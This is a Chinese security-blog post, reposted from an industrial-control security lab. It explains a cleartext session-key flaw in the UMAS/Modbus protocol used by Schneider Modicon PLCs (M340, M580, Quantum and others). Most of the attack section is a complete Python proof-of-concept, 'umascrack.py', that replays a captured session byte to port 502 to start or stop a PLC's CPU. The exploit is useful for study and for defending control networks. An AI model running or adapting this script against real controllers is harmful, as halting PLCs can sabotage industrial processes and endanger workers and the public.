Dragon
  • 一个纯白的黑客网站,一直在努力,apt的路上,更精彩!
lsh4ckLsh4ck  2019-04-03 15:51 工匠实验室 隐藏边栏 |   2 条评论  1,299 
文章评分 1 次,平均分 5.0

漏洞描述

通过漏洞,黑客访问工业控制网络可以拦截目标PLC数据,包括向设备发送管理命令所需的会话密钥。一旦获得明文传输的会话密钥,黑客即可重复请求并添加任意命令,包括启动和停止PLC,更改控制逻辑,以及下载梯形图。

受影响设备型号

  • Modicon全系列
  • M340
  • M580
  • Premium
  • Quantum
  • (Unity OS 2.6版以及更高版本)

UMAS协议

UMAS 表示统一消息传递应用程序服务,它是用于交换应用程序数据的平台独立协议,通信数据使用标准的Modbus协议。

Modbus是Modicon公司在1979年开发的基于消息结构的协议,最早是为Modicon 公司的PLC中使用,后为施耐德电气公司所有。Modbus协议是现今使用的最早和应用最广泛的工业控制系统协议之一。Modbus协议是用于和现场控制器通信的应用层协议。由于它的普及程度,大多数现场控制器都支持Modbus。然而和大多数协议不同,Modbus用于控制命令和设备级通信。Modbus没有定义特定的物理层,这样Modbus的实现不局限于某种通信媒介。工程师可以自由选择最适合的物理介质- 租用线路,专线,射频传输或微波等来传输Modbus数据包。

和很多控制协议一样,Modbus没有包括任何加密机制,尽管它有循环冗余校验(CRC , Cyclical Redundancy Checks) 进行完整性检查。CRC是一种在工业控制系统中常用的验证方法,以检查数据在传输过程中是否有改变。

Modbus共有三种工作模式:Modbus/ASCII,Modbus/RTU,和Modbus/TCP。它们在封装方式上有一些微小的差别,随着以太网的普及,Modbus/TCP 越来越被广泛地使用,下图就是 Modbus/TCP 在协议栈中的位置和封装示意图。

UMAS协议数据格式,如下图所示:

其中Session Key是会话使用的Session值,如果Session值不正确,直接终止通信。FCcode是Modbus协议的功能码,施耐德默认使用0x5a即90作为通信的功能码。下图是Modbus协议标准的功能码。

漏洞分析

通过我们工控安全实验室的实际环境(Sichneider Quantum系列)截取的数据包如下图所示,可以获取通信的Seesion是0xb8:


利用获取的Session通过任意一台电脑可以发送控制CPU启停的命令以及程序上下载如下图所示:

使用Session发送Stop数据包后控制器Cpu进入Stop状态,如下图所示:

POC脚本

#!/usr/bin/env python

import socket

import array

from optparse import OptionParser

import sys

import struct





def banner():

info = ”’……………………………………………….

(__)

(oo)

/——\/ —— V1.0 by ICSMASTER ——

/ |    ||

*  /\—/\

~~   ~~

…. Good Luck for you today …….

……………………………………………….\r\n”’

print info



def usage():

MSG_USAGE = “umascrack.py [-t <ip>] [-s <session>] [–start/–stop]”

parser = OptionParser(MSG_USAGE)

parser.add_option(“-t”, “–target”, dest=”target”, default=False, help=”The target of umas.”)

parser.add_option(“-s”, “–session”, dest=”session”, default=””, help=”The session of umas [0-255].”)

parser.add_option(‘–start’, action=’store_true’, dest=’cmd’, default=False, help=’The message of start cpu.’),

parser.add_option(‘–stop’, action=’store_false’, dest=’cmd’, help=’The message of stop cpu.’),

(options, args) = parser.parse_args()



if not options.target or not options.session:

parser.print_help()

sys.exit(1)



if int(options.session) > 255:

parser.print_help()

sys.exit(1)



return options



def generate_packet(payload):

rsid = “”

# MBAP array

rsid = array.array(‘B’)

rsid.fromstring(“\x00\x00\x00\x00\x00\x02\x01\x01”)

#set unit id

rsid[6]=1

#set function

rsid[7]=90

# DATA array

packet_data = array.array(‘B’)

packet_data.fromstring(payload)

# add data and update data length

if (packet_data):

rsid += packet_data

#update length

rsid[5]=len(packet_data)+2

print “[+] building packet data: “+str(packet_data)



return rsid





def attack(para):

try:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.settimeout(float(500) / float(100))

s.connect((str(para.target), 502))

except socket.error:

print “[!] FAILED TO CONNECT”

return



key = struct.pack(‘<B’, int(para.session))

start = key + “\x40\xff\x00”

stop = key + “\x41\xff\x00”

packets = []

if para.cmd:

packets = [start]

else:

packets = [stop]



try:

print “[+] Sending remote commands…\r\n”

for packet in packets:

rsid = generate_packet(packet)

print “[+] Sending packet: “+str(rsid)

s.send(rsid)

except socket.error:

print “[!] FAILED TO SEND”

s.close()

return

s.close()

print “[*] Command sent to target.\r\n\r\n”



def main():

banner()

attack(usage())



if __name__ == ‘__main__’:

main()


本文转载自工匠实验室,本文观点不代表lsh4ck's Blog立场,版权归原作者所有,欢迎分享本文,转载请保留出处!

lsh4ck
Lsh4ck 关注:0    粉丝:8
这个人很懒,什么都没写
×

予人玫瑰,手有余香

打赏 Lsh4ck

打开支付宝扫一扫,即可进行扫码打赏哦

发表评论

表情 格式 链接 私密 签到

  1. yuan
    yuan 中国 Chrome 75.0.3770.100 Windows 10 x64 Edition

    你好,看了你的关于UMAS的漏洞解析,很受用。我现在正在学习UMAS协议,你能将UMAS的协议和数据包发我一份吗?谢谢啊

扫一扫二维码分享

无觅相关文章插件,快速提升流量